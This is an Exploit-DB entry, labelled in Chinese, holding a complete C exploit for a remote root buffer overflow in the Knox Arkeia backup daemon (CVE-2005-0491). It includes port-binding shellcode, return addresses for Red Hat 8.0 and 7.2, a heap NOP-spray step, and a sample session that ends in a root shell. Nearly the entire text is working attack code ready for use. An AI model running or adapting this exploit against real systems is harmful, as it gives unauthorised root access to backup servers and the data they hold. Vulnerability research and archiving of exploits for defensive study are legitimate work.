标题: Knox Arkeia Pro 5.1.12 - Backup Remote Code Execution EDB-ID: 102 CVE: 2005-0491 类型: REMOTE 平台: LINUX 发布日期: 2003-09-20 漏洞利用脚本: /*
 * Knox Arkiea arkiead local/remote root exploit.
 *
 * Portbind 5074 shellcode
 *
 * Tested on Redhat 8.0, Redhat 7.2, but all versions are presumed vulnerable.
 * 
 * NULLs out least significant byte of EBP to pull EIP out of overflow buffer.
 * A previous request forces a large allocation of NOP's + shellcode in heap
 * memory.  Find additional targets by searching the heap for NOP's after a 
 * crash.  safeaddr must point to any area of memory that is read/writable
 * and won't mess with program/shellcode flow. 
 *
 * ./ark_sink host targetnum 
 * [user@host dir]$ ./ark_sink 192.168.1.2 1
 * [*] Connected to 192.168.1.2:617
 * [*] Connected to 192.168.1.2:617
 * [*] Sending nops+shellcode
 * [*] Done, sleeping
 * [*] Sending overflow
 * [*] Done
 * [*] Sleeping and connecting remote shell
 * [*] Connected to 192.168.1.2:5074
 * [*] Success, enjoy
 * id
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
 *
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/nameser.h>


#define BUFLEN  10000  /* for getshell()    */
#define LEN   280  /* overflow packet data section    */
#define HEAD_LEN  8                 /*  overflow packet header */
#define NOP_LEN  10000  /* nop+shellcode packet  */
#define ARK_PORT 617
#define SHELL_PORT 5074
#define NOP   0x90
#define NUMTARGS 2

struct {
 char   *os;
 unsigned int targret;
 unsigned int targsafe;
} targets[] = {
 { "Redhat 8.0", 0x80ecf90, 0x080eb940 },
 { "Redhat 7.2", 0x80eddc0, 0x080eb940 },
 NULL
};


/* portbind 5074 */
const char shellcode[] = 
"\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08"
"\x8d\x4d\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14"
"\x66\xc7\x45\x16\x13\xd2\x31\xd2\x89\x55\x18\x8d\x55\x14"
"\x89\x55\x0c\xc6\x45\x10\x10\xb0\x66\xcd\x80\x40\x89\x45\x0c"
"\x43\x43\xb0\x66\xcd\x80\x43\x89\x45\x0c\x89\x45\x10\xb0\x66"
"\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03"
"\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

unsigned int resolve(char *hostname)
{
 u_long  ip = 0;
 struct hostent *hoste;

 if ((int)(ip = inet_addr(hostname)) == -1)
 {
  if ((hoste = gethostbyname(hostname)) == NULL)
  {
   herror("[!] gethostbyname");
   exit(-1);
  }
  memcpy(&ip, hoste->h_addr, hoste->h_length);
 }
 return(ip);
}


int isock(char *hostname, int portnum)
{
 struct sockaddr_in sock_a;
 int   num, sock;
 unsigned int  ip;
 fd_set   input;

 sock_a.sin_family = AF_INET;
 sock_a.sin_port = htons(portnum);
 sock_a.sin_addr.s_addr = resolve(hostname);

 if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
 {
  herror("[!] accept");
  exit(-1);
 }
 
 if (connect(sock, (struct sockaddr *)&sock_a, sizeof(sock_a)))
 {
  herror("[!] connect");
  exit(-1);
 }
 
 fprintf(stderr, "[*] Connected to %s:%d\n", hostname, portnum);
 return(sock);
 
}

int getshell(int sock)
{

 char buf[BUFLEN];
 int nread=0;

   while(1) 
 { 
      fd_set input; 
      FD_SET(0,&input); 
      FD_SET(sock,&input); 
      select(sock+1,&input,NULL,NULL,NULL); 
     
  if(FD_ISSET(sock,&input)) 
  { 
         nread=read(sock,buf,BUFLEN); 
         write(1,buf,nread); 
       } 
       if(FD_ISSET(0,&input)) 
        write(sock,buf,read(0,buf,BUFLEN)); 
   } 
}

int usage(char *progname)
{
 int  i;

 fprintf(stderr, "Usage:\n./%s hostname target_num\n");
 for (i = 0; targets[i].os; i++)
  fprintf(stderr, "Target %d: %s\n", i+1, targets[i].os);
 exit(-1);
}

int main( int argc, char **argv)
{

 /* first 2 bytes are a type 74 request */
 /* last two bytes length */
 char   head[] = "\x00\x4a\x00\x03\x00\x01\xff\xff";
 char   data[512];
 char  sc_req[20000];
 char  *host;
 unsigned int  tnum;
 unsigned int  safeaddr;
 unsigned int  ret;
 int  datalen  = LEN;
 int  port  = ARK_PORT;
 unsigned int addr  = 0;
 int  sock_overflow, sock_nops, sock_shell;
 int   i;

 if (argc == 3)
 {
  host = argv[1];
  tnum = atoi(argv[2]);
  if (tnum > NUMTARGS || tnum == 0)
  {
   fprintf(stderr, "[!] Invalid target\n");
   usage(argv[0]);
  }
 }
 else
 {
  usage(argv[0]);
 }
 
 tnum--;
 ret = targets[tnum].targret;
 safeaddr = targets[tnum].targsafe;

 sock_overflow = sock_nops = sock_shell = 0;
 sock_nops = isock(host, port);
 sock_overflow = isock(host, port);

 // build data section of overflow packet
 memset(data, 0x90, datalen);
 for (i = 0; i < datalen; i += 4)
  memcpy(data+i, (char *)&ret, 4);
 // we overwrite a pointer that must be a valid address
 memcpy(data+datalen-12, (char *)&safeaddr, 4); 

 // build header of overflow packet
 datalen = ntohs(datalen);
 memcpy(head+6, (char *)&datalen, 2);

 // build invalid packet with nops+shellcode
 memset(sc_req, 0x90, NOP_LEN+1);
 memcpy(sc_req+NOP_LEN, shellcode, sizeof(shellcode));

 // send invalid nop+shellcode packet
 fprintf(stderr, "[*] Sending nops+shellcode\n");
 write(sock_nops, sc_req, NOP_LEN+sizeof(shellcode)); 
 fprintf(stderr, "[*] Done, sleeping\n");
 sleep(1);
 close(sock_nops);

 // send overflow
 fprintf(stderr, "[*] Sending overflow\n");
 write(sock_overflow, head, HEAD_LEN);
 write(sock_overflow, data, LEN);
 fprintf(stderr, "[*] Done\n");
 fprintf(stderr, "[*] Sleeping and connecting remote shell\n");
 sleep (1);
 close(sock_overflow);

 // connect to shell
 sock_shell = isock(host, SHELL_PORT);
 fprintf(stderr, "[*] Success, enjoy\n");
 getshell(sock_shell);

}


// milw0rm.com [2003-09-20] URL: https://www.exploit-db.com/exploits/102